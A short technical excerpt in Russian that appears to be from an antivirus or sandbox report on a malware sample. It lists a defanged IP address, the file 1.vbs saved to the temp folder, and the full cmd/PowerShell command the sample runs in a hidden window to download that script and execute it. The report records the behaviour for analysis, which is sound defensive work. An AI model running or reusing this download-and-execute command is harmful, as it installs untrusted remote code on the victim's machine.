Техническая информация
- http://18#.#89.13.231/1.vbs как %temp%\1.vbs
- '18#.#89.13.231':80
- http://18#.#89.13.231/1.vbs
- '<SYSTEM32>\cmd.exe' /c timeout 2 & if not exist %temp%\1.vbs powershell -command (New-Object System.Net.WebClient).DownloadFile('http://18#.#89.13.231/1.vbs','%temp%\1.vbs'); timeout 9; Start-Process %temp%\1.vbs' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c timeout 2 & if not exist %temp%\1.vbs powershell -command (New-Object System.Net.WebClient).DownloadFile('http://18#.#89.13.231/1.vbs','%temp%\1.vbs'); timeout 9; Start-Process %temp%\1.vbs
- '<SYSTEM32>\timeout.exe' 2
- '<SYSTEM32>\timeout.exe' 9